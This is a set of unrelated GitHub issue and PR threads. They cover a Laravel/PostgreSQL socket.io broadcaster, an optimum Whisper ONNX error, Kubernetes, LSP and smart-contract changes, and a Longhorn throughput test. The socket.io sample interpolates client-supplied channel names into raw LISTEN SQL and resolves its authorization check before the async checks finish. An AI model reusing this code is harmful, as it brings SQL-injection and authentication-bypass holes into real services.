                        ? $user->getAuthIdentifierForBroadcasting()
                        : $user->getAuthIdentifier();

        return json_encode(['channel_data' => [
            'user_id' => $broadcastIdentifier,
            'user_info' => $result,
        ]]);
    }

    /**
     * {@inheritdoc}
     */
    public function broadcast(array $channels, $event, array $payload = [])
    {
        if (empty($channels)) {
            return;
        }

        $connection = $this->connection;

        // Building payload like this matches the payload that's
        // used for the 'redis' broadcast driver.
        $payload = json_encode([
            'event' => $event,
            'data' => $payload,
            'socket' => Arr::pull($payload, 'socket'),
        ]);

        foreach ($channels as $channel) {
            $connection->select(
                'SELECT pg_notify(:channel, :payload)',
                [
                    'channel' => $channel,
                    'payload' => $payload
                ]
            );
        }
    }
}

Socket io side of things.
require("dotenv").config();
const fetch = require("node-fetch");

const io = require('socket.io')();

/**
 * @param {String} token a base64_encoded token for the user
 * @param {String} room the name of the room which the user tries to join
 * @returns {Promise<boolean>}
 */
const authenticate = async (token, socketId, channel) => {
    try {
        const response = await fetch(
            `${process.env.APP_URL}/broadcasting/auth`,
            {
                method: 'POST',
                headers: {
                    Accept: 'application/json',
                    'Content-Type': 'application/json',
                    Authorization: `Bearer ${token}`,
                },
                body: JSON.stringify({ channel_name: channel, socket_id: socketId }),
            }
        );

        return response.ok ? [true, {}] : [false, await response.json()];
    } catch (error) {
        return [false, await error];
    }
};

const authenticateChannels = async (token, socketId, channels) => {
    return new Promise(async resolve => {
        let authorized = true;
        let response = {};

        await channels.forEach(async (channel) => {
            [authorized, response] = await Promise.resolve(authenticate(token, socketId, channel));
            if(!authorized) {
                resolve([authorized, response]);
            }
        });

        resolve([authorized, response]);
    });
}

const resolveChannels = room => {
    return room.split(',');
}

io.use(async (socket, next) => {
    const {
        id,
        handshake: {
            query: { room, token },
        },
    } = socket;

    const [authorized, response] = await authenticateChannels(token, id, resolveChannels(room));

    return authorized ? next() : next(response);
});

const pg = require("pg");

const pgsql = new pg.Client({
    user: process.env.DB_USERNAME,
  host: process.env.DB_HOST,
  database: process.env.DB_DATABASE,
  password: process.env.DB_PASSWORD,
  port: process.env.DB_PORT || 5432,
})

pgsql.connect();

io.on('connection', (socket) => {

    const {
        handshake: {
            query: { room, token },
        },
    } = socket;

    if (!token) {
        return;
    }

    // room is a comma separated string of channels, thus by splitting
    // the string by comma we get a list of channels the event should
    // be passed to.
    resolveChannels(room).forEach(channel => {
        socket.join(channel);
        pgsql.query(`LISTEN "${channel}"`);
    });
    socket.join("all");
    pgsql.query(`LISTEN "all"`);

    const handler = function (message) {
        const { event, data } = JSON.parse(message.payload);

        if (event === 'terminate') {
            io.close();
            process.exit(0);
        }

        socket.in(message.channel).emit(event, data);
    }

  pgsql.on('notification', handler);

  socket.on('disconnect', () => {
    // Removes the specified listener from the listener array for the event named eventName.
    pgsql.off('notification', handler);
  });
});

io.listen(3000);

Ah, sure. When you only broadcast from PHP then it is no problem. But the PHP part couldn't listen.
For now, I've got no intention to integrate it as I would also need to maintain a listen server. Feel free to make packages on your own for it 😉
With more interest for this concept I may think about integrating it.


AttributeError: '_ORTModelForWhisper' object has no attribute '_retrieve_segment'

System Info
optimum=1.19.0.dev0,
onnxruntime-gpu=1.17.1

python3=3.11
system=Ubuntu 22.04.3 LTS

Who can help?
@philschmid @JingyaHuang @echarlaix
Information

[ ] The official example scripts
[X] My own modified scripts

Tasks

[ ] An officially supported task in the examples folder (such as GLUE/SQuAD, ...)
[X] My own task or dataset (give details below)

Reproduction (minimal, reproducible, runnable)
Export an ONNX model without past information using the following command:
optimum-cli export onnx --model /share_model_zoo/LLM/openai/whisper-base/ \
    --task automatic-speech-recognition \
    --device cuda:0  /share_model_zoo/LLM/openai/whisper-base_onnx/

Export an ONNX model with past information using the following command:
optimum-cli export onnx --model /share_model_zoo/LLM/openai/whisper-base/ \
    --task automatic-speech-recognition-with-past \
    --device cuda:0  /share_model_zoo/LLM/openai/whisper-base_onnx-with-past/

Error occurs when using the following Python script to load an ONNX model and perform inference on long audio:
import time
import torch
from transformers import AutoProcessor, pipeline
from optimum.onnxruntime import ORTModelForSpeechSeq2Seq
from datasets import load_dataset

device = "cuda:0" if torch.cuda.is_available() else "cpu"
print("Use device=", device)

is_use_kv_cache = True

if is_use_kv_cache:
    model_path = "/share_model_zoo/LLM/openai/whisper-base_onnx-with-past"
else:
    model_path = "/share_model_zoo/LLM/openai/whisper-base_onnx"

print("model_path=", model_path)
processor = AutoProcessor.from_pretrained(model_path)
model = ORTModelForSpeechSeq2Seq.from_pretrained(model_path, use_cache=is_use_kv_cache)
speech_recognition = pipeline("automatic-speech-recognition", model=model, tokenizer=processor.tokenizer,
                              feature_extractor=processor.feature_extractor, device=device)

test_audio_file = "./test_long.wav"
run_times = 10

# warm up
_ = speech_recognition(test_audio_file)
start_time = time.time()
for _ in range(run_times):
    result = speech_recognition(test_audio_file, chunk_length_s=10, return_timestamps=True)
end_time = time.time()
print("ASR cost=", (end_time - start_time) / run_times)
print("ASR res=", result["text"])

My test audio is in the attachment. Please use unzip to unpack it.
The error message：
  File "/share/Repository/GitLab/chrome_plugin/model_service/whisper/onnx/whisper_onnx_optimum_inference_hf_pipeline.py", line 61, in <module>
    _ = speech_recognition(test_audio_file)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/share/opt/minicoda/lib/python3.11/site-packages/transformers/pipelines/automatic_speech_recognition.py", line 285, in __call__
    return super().__call__(inputs, **kwargs)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/share/opt/minicoda/lib/python3.11/site-packages/transformers/pipelines/base.py", line 1198, in __call__
    return next(
           ^^^^^
  File "/share/opt/minicoda/lib/python3.11/site-packages/transformers/pipelines/pt_utils.py", line 124, in __next__
    item = next(self.iterator)
           ^^^^^^^^^^^^^^^^^^^
  File "/share/opt/minicoda/lib/python3.11/site-packages/transformers/pipelines/pt_utils.py", line 266, in __next__
    processed = self.infer(next(self.iterator), **self.params)
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/share/opt/minicoda/lib/python3.11/site-packages/transformers/pipelines/base.py", line 1112, in forward
    model_outputs = self._forward(model_inputs, **forward_params)
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/share/opt/minicoda/lib/python3.11/site-packages/transformers/pipelines/automatic_speech_recognition.py", line 496, in _forward
    tokens = self.model.generate(
             ^^^^^^^^^^^^^^^^^^^^
  File "/share/opt/minicoda/lib/python3.11/site-packages/optimum/onnxruntime/modeling_seq2seq.py", line 1794, in generate
    segments, segment_offset = self._retrieve_segment(
                               ^^^^^^^^^^^^^^^^^^^^^^
AttributeError: '_ORTModelForWhisper' object has no attribute '_retrieve_segment'

test_long.zip
Expected behavior
Run the inference process normally and print out the time consumption

@MrRace is it solved? I'm facing the same issue, can you share how did you solve it?


fix: allow calico-typha to be scheduled on spot nodes

What type of PR is this?
/kind bug

Which issue(s) this PR fixes:

Fixes #3539
Does this PR introduce a user-facing change?

Typha pods are allowed to be scheduled on all kind of nodes (e.g. spot nodes).

Hello!
We are still working through how, and what, fixes we want to handle in this repo. This might be better to open and discuss in the upstream kubernetes repo (you'd want to open a corresponding issue in kubernetes/kuberentes and work on getting the PR there. We intend to sync this repo to that repository regularly and that would eliminate that fix here (our current plan anyway)

@Sturgelose  thanks, I totally agree.
On the other hand I am willing do a PR wherever I have to place it in order to bring that "feature" into some of the next aks versions.
@jeremyrickard what do you think?


FEATURE - Consider showing Modal-Download-Progress in the app

Method for listening to progress already exists
Notification window or dialog window should be triggered

We do not support updates anymore. We like to save complexity.


feat: add full semantic token support

Opening this to start a discussion on what should be a part of this PR.
Currently all this does is add support for semanticTokens/full and parameters on def/defp/defmacro/defmacrop.
On my wishlist is to add support for the range and delta requests as well(which are on right now by the provider).
For the delta requests I might store the old result of the previous request on the lsp assigns which should be okay.
I need some ideas on what else we could add other than parameters. I'll take a look at other implementations and what they add. The protocol defines a list of default types and modifiers but bear in mind that we can add our own custom ones to the legend sent at the initialization part.

Can you post some before and afters of your editor showcasing the feature?

How the highlighting works without the feature:

Here's how it looks like with the semantic token support:

We can see in the second screenshot that the "document" parameter is highlighted differently(the :Inspect from neovim is on "document" parameter). Next-ls has sent additional information to the editor for this token @lsp.type.parameter.elixir which clients can override and display in their own way. (ignore the coloring since it's the default from my theme and looks the same as atoms).
The goal of this PR should be to identify other "special" types of tokens that would be useful for developers to customize before adding it as a feature.
I'll leave two articles on the semantic highlighting from VSCode:
https://code.visualstudio.com/api/language-extensions/semantic-highlight-guide#:~:text=Semantic tokenization allows language servers,the syntax highlighting from grammars
And jetbrains:
https://blog.jetbrains.com/pycharm/2017/01/make-sense-of-your-variables-at-a-glance-with-semantic-highlighting/

A nice usage could be adding a different type to macros such as @lsp.type.macro.elixir. Let's say for an example we have:
Logger.warn "a warning", this type would be added to the warn token allowing the user to customize how the colorscheme works.
Note that we would want to be careful here since all operators could easily be interpreted as macros as well breaking all colorschemes in the process. We would probably want to exclude any Kernel level macros from this.


API docs missing for GetResourceAllocationInfo and some Vb features

I'm seeing we have some missing docpages for

ID3D12Device::GetResourceAllocationInfo and GetResourceAllocationInfo1

And these Vb features:

ID3D12GraphicsCommandList6
DispatchMesh
CreateSamplerFeedbackUnorderedAccessView

Let's close this, and track it via the email thread. :)


Deposit contract's depositTransaction needs a mint parameter

This will be needed in case we allow paying deposit fees in ETH, as proposed here.
As that part of the proposal received no challenge, I think we can go ahead and introduce the extra parameter instead of setting the minting that msg.value. It's also a more general interface, which is good in case we need to upgrade to change things.

@maurelian Assigning you since you wrote the contract, feel free to re-assign to me if you have other things to do.

I think the decision on the fee proposal is still pending.


Automate 'zk config' if Lightnet is in use.

Closes #454
Closes #528

Corresponding Nightly run: https://github.com/o1-labs/zkapp-cli/actions/runs/7847361519


Move the introduction page from SIG CLI guides to the kubectl reference

Fixes #45600

LGTM
What do other contributors think of this proposed move?

Makes sense!
/lgtm

/approve
Let's do it.


[BUG] Transferring data between two replicas on the same host is bottlenecked by the network interface

Describe the bug
In a use-case, we have some single-replica volumes which have some high-throughput requirements.
If we transfer data between two volumes, with their corresponding replicas scheduled on the same host, the transfer appears to be bottlenecked by the network interface.

To Reproduce
Steps to reproduce the behavior:

Create two volumes with a single replica, both scheduled on the same host, one with a large amount of data & the other empty
Rsync the data from one mount path to the other
Observe network usage bottlenecking the transfer

Expected behavior
The network shouldn't be a factor in a scenario where data is transferred locally
Environment:

Longhorn version: v1.1.2
Installation method (e.g. Rancher Catalog App/Helm/Kubectl): Helm
Kubernetes distro (e.g. RKE/K3s/EKS/OpenShift) and version: k3s v1.21.1+k3s1

Number of management node in the cluster: 5
Number of worker node in the cluster: 0

Node config

OS type and version: Ubuntu 20.04.2 LTS (Focal Fossa)
CPU per node: 16
Memory per node: 64G
Disk type(e.g. SSD/NVMe): NVMe
Network bandwidth between the nodes: 1Gbit

Underlying Infrastructure (e.g. on AWS/GCE, EKS/GKE, VMWare/KVM, Baremetal): OVH Baremetal
Number of Longhorn volumes in the cluster: 13

Additional information:
Oddly, we're seeing the disk speed metrics are recorded around double the actual data transfer speed & the download/upload speeds are around double the disk speed metrics.

How do you copy data between 2 volumes? By launching a pod with both volumes mounted?
Or in brief, are the 2 volumes attached to the same node?

The two volumes are attached to the same node.
You could do that yes, or you could just run lsblk on the host to get the paths & copy between them directly.

Got it. Then I guess the network consumption may be caused by the communications between the engine and its replica. Since the engine and its replica are handled by different pods (no matter if they are on the same node). I will verify this and see if it's possible to improve it.

I cannot reproduce it. Here is my reproducing step:

Create 2 single-replica volumes. And the replicas of these 2 volumes are on the same worker nodes.

$ kubectl -n longhorn-system get lhv
NAME   STATE      ROBUSTNESS   SCHEDULED   SIZE          NODE                    AGE
vol    attached   healthy      True<PHONE_NUMBER>0   shuo-cluster-worker-2   16m
vol2   attached   healthy      True<PHONE_NUMBER>0   shuo-cluster-worker-2   10m

$ kubectl -n longhorn-system get lhr
NAME              STATE     NODE                    DISK                                   INSTANCEMANAGER               IMAGE                                    AGE
vol-r-6b89e409    running   shuo-cluster-worker-2   f94cd250-e6e0-467e-8d16-7f6e7fcc8488   instance-manager-r-d795f7d3   longhornio/longhorn-engine:master-head   16m
vol2-r-998cf514   running   shuo-cluster-worker-2   f94cd250-e6e0-467e-8d16-7f6e7fcc8488   instance-manager-r-d795f7d3   longhornio/longhorn-engine:master-head   10m

Manually attach these 2 volumes to the node via Longhorn UI.

root@shuo-cluster-worker-2:~# ll /dev/longhorn/
total 0
drwxr-xr-x  2 root root    80 Sep  1 09:13 ./
drwxr-xr-x 18 root root  3940 Sep  1 09:13 ../
brw-rw----  1 root root 8,  0 Sep  1 09:10 vol
brw-rw----  1 root root 8, 16 Sep  1 09:16 vol2

root@shuo-cluster-worker-2:~# lsblk
NAME    MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
loop0     7:0    0  55.4M  1 loop /snap/core18/2066
loop1     7:1    0  67.6M  1 loop /snap/lxd/20326
loop2     7:2    0  32.1M  1 loop /snap/snapd/11841
sda       8:0    0    20G  0 disk
sdb       8:16   0    20G  0 disk
vda     252:0    0   160G  0 disk
├─vda1  252:1    0 159.9G  0 part /
├─vda14 252:14   0     4M  0 part
└─vda15 252:15   0   106M  0 part /boot/efi

On the node host, directly copy data between these 2 volumes:

root@shuo-cluster-worker-2:~# dd if=/dev/longhorn/vol of=/dev/longhorn/vol2 bs=1M count=5000
5000+0 records in
5000+0 records out
5242880000 bytes (5.2 GB, 4.9 GiB) copied, 58.4872 s, 89.6 MB/s

Monitor Result: